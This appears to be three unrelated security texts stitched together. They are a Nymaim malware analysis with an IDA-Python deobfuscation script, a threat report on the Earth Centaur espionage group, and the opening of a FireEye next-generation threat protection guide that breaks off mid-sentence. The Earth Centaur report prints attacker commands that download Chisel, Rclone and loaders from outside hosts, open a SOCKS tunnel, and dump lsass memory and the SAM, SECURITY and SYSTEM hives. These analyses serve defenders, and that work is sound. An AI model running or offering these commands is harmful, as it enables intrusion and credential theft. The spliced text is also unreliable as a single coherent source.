servers: - hxxp://93.115.21[.]45 - hxxp://89[.]38[.]131[.]155 - Malware hosting websites: - hxxp://data-file-data-18[.]com - hxxp://file-coin-coin-10[.]com
# Nymaim Malware: Deep Technical Dive – Adventures in Evasive Malware Nymaim is mostly known worldwide as a downloader, although it seems they evolved from former versions, now having new functionalities to obtain data on the machine with no need to download a new payload. Some of the exported functionalities allow harvesting passwords and browser data from the machine, hidden on the file system until communication occurs. Payloads downloaded from the C&C are not saved locally on the machine but instead are loaded dynamically to memory with a unique internal calling convention. One of the signature features I noticed when I began analyzing the Nymaim payload were the novel anti-reverse engineering and obfuscation techniques. Frustrating the analyzer, many different code pieces for the same function require piecing them together in order to fully understand the code. Most of the code is heavily obfuscated using ‘spaghetti code’ methods. In addition to the already obfuscated code, the DGA (Domain Generation Algorithm) uses quite an interesting technique to make sure it won’t be sink-holed easily, as well as further challenging analysis. In this blog, I will review the anti-reverse engineering techniques the malware authors implemented in the code, explain the unique DGA they made, and show different automation concepts to conquer the code and make the analyzer’s life a lot easier. And so it begins… In general, when I dive into a new malware, I begin with a set of goals or objectives I need to discover and understand, such as the DGA mechanism of a malware or analyzing the protocol and functionality. When I focus on the DGA, for instance, while debugging, I expect the malware to hit (at some point) a DNS resolving function such as `getaddrinfo`, `gethostbyname`, or any similar API. Unfortunately, Nymaim hit none of the expected DNS resolving APIs exported. Confused for a moment, I decided to try a breakpoint on the `sendto` function, and indeed the breakpoint is hit. It is a crafted DNS request with a messed-up call stack and a hardcoded DNS server. I can’t conclude anything definitive; I have to find the caller to the `sendto` function manually. Following the RETs and JMPs, I finally get to the function calling the `sendto` function. But wait, it looks so weird! Let us examine the IDA snippet while keeping in mind what the `sendto` function looks like: ``` WS2_32!sendto(SOCKET s, const char *buf, int len, int flags, const struct sockaddr *to, int tolen) ``` There are 6 arguments in total. After static analysis of the code, the arguments passed on the stack don’t make much sense in terms of what `sendto` is expecting (value-wise). Also, there are 9 push opcodes in total. Something fishy is going on in there. Let’s examine the last call function `call sub_1805525`, which is the OPCODE I returned to manually from the `sendto` function. **Spoiler Alert**: This function is one of many spaghetti functions found in the code. To fully comprehend what is going on, we will first have to understand how the stack would look after calling this function in terms of EBP offsets: First of all, pushing EAX (arg_8) and then two more DWORDS, arg_4 (0xCF260F5F) and arg_0 (0x30D8FC16). Then calling the function (`call sub_1805525`), which will put the appropriate ret address as the last value on the stack, and that’s all we need to know stack-wise for now when calling this function. Then, inside the called function, the function’s prologue happens: ``` push ebp mov ebp, esp ``` This puts into the base register (EBP) the current stack address to relatively point to stack variables using EBP and not ESP. Let’s see what this function does exactly: 1. Overwrite `arg_8` with the `RetAddress`. 2. Sum the values of the two DWORDS pushed on the stack (arg_0 + arg_4). 3. The result from the last operation will be added to the `arg_8`, which was already overwritten with the `RetAddress`. Basically, it receives two numbers and a dummy stack value, resulting in a new return address with the value of `[ReturnAddress + arg_0 + arg_4]`. Cross-referencing this whole mathematical function shows me it is being called from 36 more places. There are dozens more variants of this function and about 2600 different places in which all of the variants are being called inside the code. Back to analyzing, the new address should be: `[0x0183BF0B + 0x30D8FC16 + 0XCF260F5F]`, cutting the 32-bit part will result in `[0x0182CA80]`. The above snippet is another part of the obfuscation. The function that would be called next (`sub_180D32D`) is some API-Wrapper. Actually, there are no standard API calls anywhere in the code; everything is calculated dynamically. Diving into that API-Wrapper function is possible (and actually required for the most part). However, I won’t do that in the scope of this blog post. So this spaghetti calling convention messes up the code, and I will have to fix it if I want to do any effective static analysis of it. Before I present the solution for this problem, however, let’s examine the rest of the unresolved issues in the calling function to `sendto`. The next thing we need to investigate is the repeated function `sub_183AC7E`. This is a huge switch-case of putting a register value on the stack dependent on the given value. For example, the following code (our `sendto` scenario): ``` push 10h push 72h ; 'r' call sub_183AC7E push 6Fh ; 'o' call sub_183AC7E push 6Ch ; 'l' call sub_183AC7E push 73h ; 's' call sub_183AC7E push dword ptr [ebp-184h] ``` Now I can peacefully say I know everything I need to de-obfuscate this `sendto` call. With all this new information at hand, we can move on to the next part. **Tomāto-Tomăto, Potāto-Potăto**: It’s all the same. The two problems I aim to solve are fixing that spaghetti code calling convention and fixing the `push_reg` function. These two functions rule most of the code, so fixing these two should be a huge step forward in understanding the code and statically analyzing it. So how is it done? Easy, Magic! Or in its unofficial name, IDA-Python, scripting an automation process to go over all of the code, wherever one of these functions occur, fix it, and change it to a simpler and more readable code format while retaining the same functionality. So let’s get practical, shall we? Starting with the `push_reg` function, I need to change every call to that function, which is made up of two opcodes: ``` 6A XX push <BYTE> E8 XX XX XX XX call <DWORD> ``` Push and Call, which are both in total 7 bytes in memory. If I could replace these 7 bytes with the appropriate values of the Push `<Register>` and do it over all of the code, it will be a big step in de-obfuscating the code. So now that I know exactly what I want to replace, I wrote a script which does exactly that: ```python PUSH_REGISTER_ADDR = 0x0183AC7E PUSH_REG_VALUE = 0x6C SIZEOF_PUSH_BYTE = 2 def fix_reg_push(function_address): patched_counter = 0 unpatched_counter = 0 values_to_patch = { PUSH_REG_VALUE: 0x50, # push eax PUSH_REG_VALUE + 1: 0x51, # push ecx PUSH_REG_VALUE + 2: 0x52, # push edx PUSH_REG_VALUE + 3: 0x53, # push ebx PUSH_REG_VALUE + 5: 0x55, # push ebp PUSH_REG_VALUE + 6: 0x56, # push esi PUSH_REG_VALUE + 7: 0x57 # push edi } # Go through all xrefs for xcall in XrefsTo(function_address): # Make code if it is not already opcode_length = idc.MakeCode(xcall.frm - SIZEOF_PUSH_BYTE) if SIZEOF_PUSH_BYTE != opcode_length: print(" [*] fix_reg_push not code [0x%08X]" % push_addr) unpatched_counter += 1 continue # Obtain previous opcode address push_addr = idc.PrevHead(xcall.frm) # Sanity check if "push" != GetMnem(push_addr): print(" [*] fix_reg_push not push instruction [0x%08X]" % push_addr) print(GetMnem(push_addr)) unpatched_counter += 1 continue # Get new value push_value = GetOperandValue(push_addr, 0) byte_val = values_to_patch.get(push_value, None) if None == byte_val: print(" [*] fix_reg_push unexpected push value [0x%08X]" % push_addr) unpatched_counter += 1 continue # Patch code idaapi.patch_word(push_addr, 0x04EB) # EB 04 -> Jmp $+4... idaapi.patch_long(push_addr + 2, 0x90909090) # NOPs idaapi.patch_byte(push_addr + 6, byte_val) patched_counter += 1 print(" [*] fix_reg_push - Total: [%d]\npatched functions: [%d]\nunpatched functions: [%d]" % (patched_counter + unpatched_counter, patched_counter, unpatched_counter)) def main(): fix_reg_push(PUSH_REGISTER_ADDR) if "__main__" == __name__: main() ``` The code above is separated into a couple of sections: - Calling my `fix_reg_push` function with the appropriate function address which handles the push register by value. - Running through all the Xrefs of the function and making IDA identify the bytes as code if it hasn’t already. Otherwise, there would be issues identifying opcodes later in the script. - Making sure the xref is valid and working as expected. I don’t want to create any weird code patches, so I make some necessary sanity checks. - Patching the code, changing the 7 original bytes to `PUSH <reg>` and `JMP <byte>` for better code clarity. Let’s examine the before and after results: **Before**: **After**: As you can see, I translated the `reg_push` functions (all of them) to readable, simple de-obfuscated push opcodes which have a length of one byte. I could have just done a NOP-slide for the rest of the bytes left, but I decided to implement a JMP opcode instead with the memory I had left to overwrite. It’s a matter of taste. The code became much more readable, and now I can finally read which register represents which value on the stack. This function was fixed at over 3,900 places in the code. So it was definitely worth it. And that’s it for the first part. Patching the code on IDA made everything a lot more readable in terms of static analysis. Next, there is still that spaghetti calling convention I will have to fix, but as I investigated more of the code, I noticed there are dozens of variations with different calculations being made, and for each one of those, there are a dozen more duplications that look identical to each other. The only logical thing left for me to do was to make a regex to find every matching function. Fortunately, finding the common base between all functions wasn’t so hard. All of them have more or less the same prologue and pretty much the same epilogue. So creating some kind of byte regex to find all of them (and fix them!) isn’t very hard. After automatically finding all of these spaghetti functions, I will patch the code just as I have done with the ‘push_reg‘ functions. Only this time I have a lot more “space” in terms of bytes to do so. In total, there are 16 bytes that I would like to change to just `CALL` (5 bytes), so I have enough space to override as I want. This method is practically the same as the method I used before. So there is no reason to put another code block to show how it’s done. Looking for all variants of these functions gave me a result of almost 100 different variations, with a total of approximately 3,000 different Xrefs in the code (for all variants). The final result after patching both the spaghetti calling convention and the push registry by value: Finally, having the important parts de-obfuscated, I could continue on to the DGA. Let me pre-announce, the authors' intent to avoid being sinkholed paid off. It has been a while since I’ve seen someone trying to protect their code and their DGA as much as they did. Most malwares that have a DGA use some value which changes periodically. This one is no different and is based on the current date to calculate its DGA (Day, Month, Year). Though it’s not as simple as it sounds: Instead of using some sort of built-in linear random function (such as `msvcsrt!rand` and `msvcrt!srand`), they implemented their own functions for making random numbers and setting the initial seed. Their MagicSeed means the number calculated every day, generated by the current date, for example, is made out of 128 bits. Every time anything needs to obtain the MagicSeed’s value, the MagicSeed changes as well. So I had to follow all of the code very carefully, not to miss anything regarding the MagicSeed’s usage. ## How It All Works I will now explain how the malware reaches the C&C server and the obfuscation made behind the DGA. As you would expect from any malware, they make a simple domain list using a MagicSeed, then try to resolve each of the domains created, using Google’s DNS servers to prevent being DNS-sinkholed, until one is being resolved, and that would usually be the C&C server. However, this is not our case because it would be too boring to talk about just that, wouldn’t it? So as it gets more complicated, when trying to resolve all of the generated domains, only the first domain which will be resolved into exactly two different IP addresses. For example, these domains (which are generated at 30/09/2016): | Generated Domain | Resolved IP addresses | |-----------------------|-----------------------| | jfwwqi.com | 4.2.0.1 | | | 4.2.0.2 | | | 4.2.0.3 | | hlrhtvl.com | 192.168.0.1 | | mcodqfban.com | 192.168.0.2 | | xdvhfogmw.pw | 13.37.80.80 | | obsvi.com | | | igcvdloatwf.in | | | zcekjgrmmx.in | | The only domain that will be used from this list would be `mcodqfban.com`, resolved to `192.168.0.1` and `192.168.0.2`, because it is being resolved into two different IP addresses. Yet, these two IP addresses have no direct connection to the C&C server. They are just going to be another stepping stone in Nymaim’s logic in order to create a new MagicSeed number. And with that new MagicSeed, create a new domain list with exactly the same algorithm as the first domain list was generated. But hold on, there is more: Before trying to use this newly created domain list, a checksum algorithm is used over the newly created domain list, and the result is compared with a built-in checksums list. This probably means that the domains themselves are finite and have probably been pre-bought, or they are just waiting for the right time to buy a new domain that matches their checksum list. After the list passes the checksum check, the first domain in the list is taken and its TLD is changed to “.COM”. After all this effort, I would guess that domain is all that is left and the IP addresses matching the resolving of this domain are what would be the C&C server. However, my guess was wrong. The IPs resolved from that newly created domain are not yet the correct IP addresses of the C&C servers. For every IP address we get from the DNS request, a loop of XORing and rotation calculations are being made over each of the IP addresses in order to obtain the real C&C server IP addresses. Let’s summarize everything with a pseudo code: ```plaintext tlds = [“.net”, “.com”, “.in”, “.pw”] GenerateDomains(magic_num) { domains = [] seed = CreateUniqueSeed(TODAYS_DATE) rand = GetRandomNumber(seed) for(int i=0; i<16; i++) { domain_str = GenString(rand, seed, magic_num) domain_str += tlds[GetRandomNumber(seed)] domains += [domain_str] } return domains } ResolveDomains(domain_list) { for(i =0, i<16; i++) { ip_addresses = DnsResolve(domain_list[i]) if (2 == ip_addresses.length()) return ip_addresses } } Main() { domains = GenerateDomains(0) ips = ResolveDomains(domains) new_domains = GenerateDomains(ips) domain = new_domains[0].replace(".com") real_ips = ResolveDomains(domain) real_ips = XorIPS(real_ips) CommunicateWithRealServer(real_ips) } ``` This is a lot of stuff to do in order just to get a C&C server IP address. Those little tricks they used made it harder to reverse and understand the Nymaim code, and harder to sink-hole the malware as well. So here we see a prime example of how malware authors try to avoid being sink-holed by using obfuscation methods as protection for their code. But then again, everything can be conquered and beaten if you wear your malware thinking cap and put your mind into it. Ref analyzed sample: `c41ffc1fd6e3f5157181b6e45f45f4fe`
# Collecting In the Dark: Tropic Trooper Targets Transportation and Government Our long-term monitoring of the cyberespionage group Earth Centaur (aka Tropic Trooper) shows that the threat actors are equipped with new tools and techniques. The group seems to be targeting transportation companies and government agencies related to transportation. Earth Centaur, previously known as Tropic Trooper, is a long-running cyberespionage threat group that has been active since 2011. In July 2020, we noticed interesting activity coming from the group, and we have been closely monitoring it since. The actors seem to be targeting organizations in the transportation industry and government agencies related to transport. We observed that the group tried to access some internal documents (such as flight schedules and documents for financial plans) and personal information on the compromised hosts (such as search histories). Currently, we have not discovered substantial damage to these victims as caused by the threat group. However, we believe that it will continue collecting internal information from the compromised victims and that it is simply waiting for an opportunity to use this data. Through long-term monitoring, we learned that this threat group is proficient at red teamwork. The group knows how to bypass security settings and keep its operation unobstructive. Depending on the target, it uses backdoors with different protocols, and it can also use the reverse proxy to bypass the monitoring of network security systems. The usage of open-source frameworks also allows the group to develop new backdoor variants efficiently. We expand on these techniques and other capabilities in the following sections. More importantly, we believe the activities we observed are just the tip of the iceberg and their targets might be expanded to other industries that are related to transportation. It is our aim, through this article, to encourage enterprises to review their own security settings and protect themselves from damage and compromise. ## Overview of Earth Centaur’s Infection Chain Based on our investigation, we found that the intrusion process used by Earth Centaur can be separated into several stages. We found that the threat actors used vulnerable Internet Information Services (IIS) server and Exchange server vulnerabilities as entry points, and then installed web shells. Afterward, the .NET loader (detected as Nerapack) and the first stage backdoor (Quasar remote administration tool aka Quasar RAT) were deployed on the compromised machine. Then, depending on the victims, the threat actors dropped different types of second-stage backdoors, such as ChiserClient and SmileSvr. After exploiting the victim's environments successfully, the threat actors start Active Directory (AD) discovery and spread their tools via Server Message Block (SMB). Then, they use intranet penetration tools to build the connection between the victim’s intranet and their command-and-control (C&C) servers. We go into further detail about these stages in our analysis. ## Technical Analysis of Earth Centaur’s Tools and Techniques ### Stage 1: Loaders After the threat actors get access to the vulnerable hosts by using ProxyLogon exploits and web shells, they use bitsadmin to download the next-stage loader (loaders are detected as Nerapack) as well as its payload file (.bin). ```powershell C:\Windows\system32\windowspowershell\v1.0\powershell.exe -Command "&{Import-Module BitsTransfer; Start-BitsTransfer 'http://<redacted>:8000/dfmanager.exe' "%temp%/dfmanager.exe"}" C:\Windows\system32\windowspowershell\v1.0\powershell.exe -Command "&{Import-Module BitsTransfer; Start-BitsTransfer 'http://<redacted>:8000/dfmanager.bin' "C:\Users\<redacted>\AppData\Local\Temp/dfmanager.bin"}" ``` After our long-term monitoring, we observed that there are two different decryption algorithms (DES or AES) used in Nerapack to decrypt the payload. Moreover, in its newer version, it uses a technique called “Timestomping.” Timestomping is when the timestamp of the payload file (.bin) is altered to make it harder for incident response analysts to find it. The decryption key is used as an argument of Nerapack and various keys are used on different victims. It is a simple but effective technique that makes security analysis more difficult and also ensures that only their operators can use the tools. The command for execution is shown as here: ``` Nerapack.exe {base64 encoded key} ``` Fortunately, we were still able to collect the decryption key in some cases and we decrypted the payload successfully. Based on our current cases, the decrypted payload is Quasar RAT. After the payload is deployed, the actors can continue further malicious actions through Quasar RAT. ### Stage 2: Backdoors After further analysis, we found that the threat group developed multiple backdoors capable of communication via common network protocols. We think this indicates that it has the capability to bypass network security systems by using these common protocols to transfer data. We also found that the group tries to launch various backdoors per victim. Furthermore, it also tends to use existing frameworks to make customized backdoors. By using existing frameworks, examples of which are detailed in the following, it builds new backdoor variants more efficiently. #### ChiserClient After the backdoor is launched, it will decrypt the embedded C&C configuration via AES (CTR mode) algorithm for the following connection. In the configuration, there are three C&C addresses and corresponding port numbers. In the first connection, ChiserClient will append the host name of the compromised host for check-in purposes. Then, it will keep running on the hosts and wait for further commands from the C&C server. ChiserClient is installed as a system service to allow the threat actors access to higher privileges and keep persistence on the compromised host. The capability of ChiserClient is shown in the following table: | Command code | Function | |--------------|-----------------------------------------------| | 0x10001 | Write specified file | | 0x10002 | Download File | | 0x10003 | Read specified file | | 0x10004 | No Action | | 0x10005 | Open a command shell for command execution | #### HTShell HTShell is a simple backdoor that is developed using the Mongoose framework (version 6.15). Mongoose is an Object Data Modeling (ODM) library for MongoDB and Node.Js. It is used to translate between objects in code and objects representation in MongoDB. We saw in our cases that the HTShell client will be launched as a system service on the compromised machine and that it will connect to a C&C server. HTShell supports importing additional config files. We found that the additional config file is located in %PUBLIC%\Documents\sdcsvc.dat, and that the content should be encoded by base64. If no config file is imported, it will connect to the predefined C&C address. HTShell encodes a hard-coded string, "tp===" with custom base64 and embeds the encoded string in the request cookies. If the C&C server receives the request with the special cookie value, it can verify that the request comes from its client applications. The response handler of HTShell will use “`” as delimiter to split the command code and argument for the received command. Hence, the command will be this format: ``` <command code>`<custom-base64encoded-data>[`<more-custom-base64encoded-data>] ``` HTShell currently supports three different backdoor functions, shown here: | Command code | Function | |--------------|-----------------------------------------------| | 0 | Open a command shell for command execution | | 1 | Upload file | | 2 | Download file | #### Customized Lilith RAT During our investigation into Earth Centaur's activities, we found that it also uses another backdoor called Lilith RAT. We think that this Lilith RAT is a highly modified version of the open-source Lilith RAT. The actors reused part of the codes for command execution, while the C&C protocol is changed to Dropbox HTTPS APIs. In order to launch this RAT, the threat actors use a technique called "Phantom DLL hijacking." In this technique, the RAT will be disguised as the normal wlbsctrl.dll. While the Windows service “IKEEXT” is starting, the fake wlbsctrl.dll is loaded and executed with high privilege. Furthermore, when Lilith RAT is terminated, it will try to clean itself to prevent being found by investigators. For the C&C connections, the customized Lilith RAT will first check in to the attacker’s Dropbox and see if the victim host exists. If not, the hostname and IP address will be collected and appended to the existing compromised hosts’ information. All data will then be encrypted and sent back. After the check-in request, the backdoor will start to wait for more commands to come in. All the request data are formatted to JSON, and they are encrypted by AES and encoded by base64. Here is a list of the C&C commands: | Command | Description | |---------------------------|-----------------------------------------------| | CMDCommand | Executes commands | | DownloadCloudFile | Downloads files | | UploadCloudFile | Uploads files | | GetDir | Lists directories | | GetDirFile | Lists files in a directory | | DeleteSelf | Deletes itself | #### SmileSvr We found that there are two types of SmileSvr. The difference between the two variants is the protocol used for communication: ICMP and SSL. The threat actors will use an installer to install SmileSvr as a system service and drop a DAT file that contains encoded C&C information. In the configuration file, the memory size used for storing C&C address and C&C address will be defined. The ICMP version of SmileSvr will create an ICMP socket to connect to the specified C&C address, which is defined in a configuration file. In each SmileSvr, there is an embedded number (e.g., 10601) and this value will be used as sequence number in the sent ICMP packet. We think attackers use this value to verify if the incoming packet belongs to their backdoor and filter out the noise. Without knowing the real traffic from the C&C server, we can only speculate on the content of the response based on the receiving function. The content of the response should contain the sequence number used to verify if the received data comes from the correct source and two blocks of encrypted data. The data decryption procedure is as follows: 1. First, the encrypted data is decrypted with a one-byte XOR key (0xFF). 2. The first of the decrypted content contains a magic number used to check data in the second block, a command code, and the XOR key to decrypt the second set of encrypted content. 3. The second set of encrypted content is decrypted with an XOR key (0x99) from the previous decrypted content, and within the decrypted data are instructions for the following procedures. While analyzing samples, we found that the C&C server was already inactive. Without knowing the traffic between SmileSvr and C&C server, we could not fully understand all functions. However, most of the backdoor functions are listed here: | Command code | Function | |--------------|-----------------------------------------------| | 0x5001 | Opens/Reads specified file | | 0x5002 | Unknown | | 0x5004 | Opens/Writes specified file | | 0x5006 | Opens command shell | | 0x5007 | Unknown | | 0x5009 | Closes command shell | | 0x500A | File System Traversal | | 0x500C | Checks environment information | | 0x500E | Unknown | As for the SSL version of SmileSvr, the capability of SSL communication is built by using wolfSSL, which is a lightweight, C-language based SSL/TLS library. The backdoor functions of SSL version SmileSvr are similar to the ICMP ones. The threat actors just use it to develop new ways to support data transfer via an encrypted channel. #### Customized Gh0st RAT In our investigation, we also found a suspicious executable named telegram.exe. After analyzing the file, we found that it was a customized version of Gh0st RAT. Compared to the original Gh0st RAT (Gh0st beta 3.6), the difference is that the customized version supports a new function to discover information from active sessions on the host. All supported functions for the customized Gh0st are shown in the following table: | Command code | Function | |--------------|-----------------------------------------------| | 0xC8 | Terminates connection | | 0xCA | File manager to handle file operations | | 0xCB | Screen monitoring | | 0xCC | Opens remote shell for command execution | | 0XD5 | Gets active session information | ## Post-Exploitation After successfully exploiting the vulnerable system, the threat actor will use multiple hacking tools to discover and compromise machines on the victim’s intranet. In this stage, we also observed attempts to deploy tools to exfiltrate stolen information. During our investigation, we found evidence of specific tools, which we listed in the table below. With these tools, the attackers accomplish their goals (network discovery, access to the intranet, and exfiltration) step by step. | Tool name | Purpose | Description | |---------------|------------------|--------------------------------------------------| | SharpHound | AD Discovery | Discovery tool to understand the relationship in an AD environment | | FRPC | Intranet Penetration | Fast reverse proxy to help expose a local server behind a NAT or firewall to the internet | | Chisel | Intranet Penetration | Fast TCP/UDP tunnel | | RClone | Exfiltration | A command-line program to sync files and directories to and from different cloud storage providers | ## Credential Dumping We also observed that the group used multiple legitimate tools to dump credentials on compromised machines. It made good use of these tools to achieve its goal and keep its operation hidden and unobstructive. For example, the group uses ProcDump.exe (a tool from Windows Sysinternals Suite that creates dumps of the processes in any scenario), which it renamed bootsys.exe: ```powershell c:\users\public\downloads\bootsys.exe -accepteula -ma lsass.exe C:\Users\Public\Downloads\lsass.dmp ``` The group dumps credentials stored in registries by using reg.exe: ```powershell reg.exe save hklm\sam C:\Users\Public\Downloads\sam.hive reg.exe save hklm\sam c:\windows\temp\sa.dit reg.exe save hklm\security c:\windows\temp\se.dit reg.exe save hklm\system c:\windows\temp\sy.dit ``` The group would also dump memory from the specified process by using comsvcs.dll: ```powershell rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump 764 C:\Windows\TEMP\dump.bin full ``` ## Indicator Removal To avoid exposing their footprints to investigators, the threat actors made their own tool to wipe out the event logs on the victimized machine. By using this tool, they could clean specified event logs and make it hard for investigators to track their operations. ## Intranet Penetration After successfully exploiting the vulnerable system, threat actors also drop the following tools: FRP and Chisel. FRP is a fast reverse proxy used to expose a local server behind an NAT or a firewall to the internet. It can read predefined configurations and make the host in the intranet available to users from the internet. Chisel is a fast TCP/UDP tunnel, which is mainly used for passing through firewalls. It provides the capability to transport data over HTTP (secured via Secure Shell, aka SSH) and allows threat actors to pass through a firewall and get access to the machine behind the firewall. This is used to download reverse proxy Chisel via PowerShell: ```powershell c:\windows\system32\windowspowershell\v1.0\powershell.exe -command "$(new-object System.Net.WebClient).DownloadFile('https[:]//webadmin[.]mirrorstorage[.]org/ch.exe', 'ch.exe')" ``` This is used to build a connection between inter/intranet via Chisel: ```powershell C:\WINDOWS\system32\ch.exe client https[:]//webadmin[.]mirrorstorage[.]org:443 r:127.0.0.1:47586:socks ``` ## Exfiltration In the previous phase, we observed that the actors use several tools to get the whole picture of the network infrastructure and bypass the firewall. Afterward, we observed a PowerShell command used to download an effective tool, Rclone, which is used for exfiltration. It also provides an easy and effective way of copying data to several cloud storage providers. ```powershell C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -command "$(new-object System.Net.WebClient).DownloadFile('http://195[.]123[.]221[.]7:8080/rclone.exe', 'r.exe')" ``` Based on previous experience, Rclone has frequently been used in ransomware attacks to exfiltrate stolen data. However, it seems that currently, it is not only used in ransomware attacks but also in APT attacks. ## Identifying Features in the Earth Centaur Campaign After long-term observation and analysis of the attack campaigns, there was compelling evidence that they were operated by Earth Centaur. We found several identifying features of the threat actors within the techniques and tools described in the preceding sections, and we break down the factors in the following. ### Mutex Style We found some special mutexes that are encoded by the layout of the Chinese Zhuyin keyboard in ChiserClient. The decoded string is shown in the table below. Based on these special mutex strings, we believe the threat actors come from a Chinese-speaking region. | Encoded string | Decoded string in Chinese | English translation | |-----------------------------|---------------------------|-----------------------------------------| | vul3ru,6q8 q8 y.3 | 小傑趴趴走 | Jack goes around | | ji394su3 | 我愛你 | I love you | | 5ji | 桌球好手福原愛 | Excellent table tennis player, Ai Fukuhara | ### Configuration Style After analyzing the ChiserClient, we found that it shares a similar style of network configuration to the TClient mentioned in our previous research on Earth Centaur. ### Code Similarity After checking the backdoor SmileSvr, we found that there was a code similarity between it and Troj_YAHAMAM, which was used by Earth Centaur in an earlier operation. Both share similar codes in configuration decoding. Furthermore, the delimiter that was used in SmileSvr to split different values in configuration files is the same as the one used in YAHAMAM. ## Conclusion These threat actors are notably sophisticated and well-equipped. Looking deeper into the new methods the group uses, we found that it has an arsenal of tools capable of assessing and then compromising its targets while remaining under the radar. For example, the group can map their target’s network infrastructure and bypass firewalls. It uses backdoors with different protocols, which are deployed depending on the victim. It also has the capability to develop customized tools to evade security monitoring in different environments, and it exploits vulnerable websites and uses them as C&C servers. In this blog, we outlined our new findings related to these threat actors to help possible targets in the transportation and other industries. Information on how a threat enters and operates within a victim’s network is invaluable to security teams and can help them create more effective protection for vulnerable organizations. Organizations can also find capable security solutions that can help interpret and respond to malicious activities, techniques, and movements before the threat can culminate and affect an enterprise. Trend Micro Vision One™ with Managed XDR gives security teams a consolidated view into valuable insights so they can organize a more solid line of defense ahead of attacks.
# Definitive Guide to Next-Generation Threat Protection ## Foreword As I’ve met with national leaders and customers around the world, I’ve found that there’s a great divide between the level of security they need for their networks and the level of security available to them using traditional security tools. That’s because the next generation of cyber attacks are already a part of their daily lives, but they’re stuck working with traditional security tools that are based on decades-old technology models. The entire security industry needs a shift in thinking because incremental improvements can’t bridge the threat gap created by today’s highly adept cybercriminals. I’ve said very publicly that the current cybersecurity model isn’t extensible and requires a fundamentally new approach to security. That’s why I am extremely encouraged after reading this definitive guide. I’m more convinced than ever that we need to be educating each other and acting upon the reality of today’s cyber attacks. We are in a cyber “arms race” run by criminal and nation-state organizations with interlocking profit motives and geopolitical agendas. It’s getting ugly out there. I am honored to serve as a member of President Barack Obama’s National Security Telecommunications Advisory Committee as well as on the boards of Delta Airlines, Mandiant, and Polycom. From this perspective, we have a unique opportunity to unite the public and private sectors in a common cause. Together, I'm confident we will find innovative solutions to protect our shared critical infrastructure. It is still staggering to me that cybercriminals and APT actors can break into virtually any network to steal data and disrupt businesses despite the over $20 billion invested in IT security technologies last year! This guide is all about how to fill this gap in our network defenses to do battle against “today’s new breed of cyber attacks,” as Steve puts it in this book. The dramatic rise in global cyber incidents shows just how far the threats have escalated and how advanced and intricate these cyber attacks have become. I urge you to read this guide and share what you learn with your colleagues and peer networking groups. We can’t stop this next generation of cyber attacks without more advanced technologies, better cooperation across industries, and stronger ties between the public and private sectors. For my part, in joining FireEye, I consider this my renewed pledge to deliver leading-edge platforms to address today’s toughest cybersecurity issues. I considered numerous CEO opportunities since McAfee and have watched FireEye on the sidelines for years. I am so excited to join a company with such game-changing technology. And, by sponsoring this guide, my hope is that it will give you a framework to deploy a next-generation threat protection platform that forms the basis of a more resilient, penetration-resistant network. David DeWalt CEO, FireEye ## Introduction In recent years, enterprises and government agencies have fallen prey to a myriad of successful cyber attacks of unprecedented sophistication and reach. Despite spending over $20 billion annually on traditional security defenses, organizations find themselves battling a new generation of cyber attacks, such as advanced malware and advanced persistent threats (APTs), that are dynamic and stealthy and extremely successful at compromising today’s networks. If there’s any chance of preventing these motivated adversaries from attacking our systems, stealing our data, and harming our critical infrastructure, we’ve got to think differently. We must realize the limitations of traditional signature-based defenses and leverage new technology to uncover and stop today’s new breed of cyber attacks. Fortunately, there is a solution. Introducing next-generation threat protection (NGTP), an innovative new network security platform proven to help win the war against next-generation threats. If you’re charged with securing your organization’s network, this is one book you simply can’t afford to miss. ## Chapters at a Glance - **Chapter 1: Defining Next-Generation Threats** Reviews staggering statistics on major data breaches, describes recent high-profile commercial and government cyber attacks, depicts typical costs associated with successful breaches, and contrasts traditional and next-generation cyber attacks. - **Chapter 2: Understanding the Enemy** Categorizes three kinds of cyber enemies — cybercriminals, state-sponsored threat actors, and hacktivists — and describes why they are so successful in bypassing traditional security defenses. - **Chapter 3: Anatomy of Advanced Cyber Attacks** Defines APTs and reviews high-profile examples that have recently made international headlines. The chapter then details the potential “ripple effect” of a successful APT on critical infrastructure, explores each of the five stages of the APT life cycle, and provides telltale signs for detecting APTs in your organization. - **Chapter 4: Introducing Next-Generation Threat Protection** Gets to the heart of the matter by defining NGTP, describing the characteristics of an ideal NGTP solution, and comparing NGTP to traditional signature-based defenses and sandbox technologies. - **Chapter 5: Next-Generation Threat Protection Explored** Expands on Chapter 4 by explaining exactly how NGTP mitigates the new breed of cyber attacks in email messages, Web communications, and files at rest. It explores key features of leading NGTP solutions and describes common ways to integrate them into existing network infrastructure. - **Chapter 6: Selecting the Right NGTP Solution** Describes exactly what to look for — and, more importantly, what to avoid — when shopping for an NGTP solution. - **Glossary** Provides handy definitions to key terminology used throughout this book. ## Chapter 1: Defining Next-Generation Threats In this chapter: - Review recent statistics on data breaches - Explore traditional cyber attacks - Understanding advanced malware, zero-day, and advanced persistent threats Today’s cyber attacks are more sophisticated than ever. In the past year, we’ve witnessed alarming data breaches of unprecedented complexity and scale, causing every CISO to re-examine the organization’s network security posture. At the same time, the cybercrime industry has completely transformed — from hacking for kicks to cyber attacks for profit, or in some instances, for political gain. Today’s cybercriminals are highly trained and incorporate sophisticated attack techniques that are no match for today’s inadequate signature-based defenses. Organizations now face a new breed of cyber attacks. These multi-vectored and multi-staged threats easily evade traditional security defenses, such as firewalls, intrusion prevention systems (IPS), secure Web and email gateways, and anti-virus platforms. ### Staggering Statistics Several reputable cybersecurity research organizations monitor cyber attack trends against enterprises. Among these is the Verizon RISK (Response, Intelligence, Solutions, and Knowledge) Team, which publishes a widely regarded annual Data Breach Investigations Report. In 2012, Verizon analyzed 855 data breach incidents that occurred in the prior year resulting in 174 million compromised records. Verizon’s analysis yielded some staggering statistics: - 98 percent of the incidents stemmed from external agents (up 6 percent from the prior year) - 85 percent took weeks to discover (up 6 percent) - 81 percent involved some form of hacking (up 31 percent) - 69 percent incorporated malware (up 20 percent) Also in 2012, FireEye, a leader in next-generation threat protection, published its Advanced Threat Report (1H 2012). According to the report, enterprises are experiencing an average of 643 Web-based malicious events each week effectively penetrating traditional security defenses, such as firewalls, intrusion prevention systems, and anti-virus software. Compared to the same period in 2011, the number of infections per company rose by 225 percent. Despite global increases in information security spending (currently equating to over $20 billion per year for information security products and services), the percentage of data breaches stemming from external hacking is up, attacks incorporating malware are up, and it’s still taking weeks to discover major data breaches! ### Recent Victims Unless enterprises and government agencies adopt a new, more sophisticated approach to mitigating next-generation threats, organizations 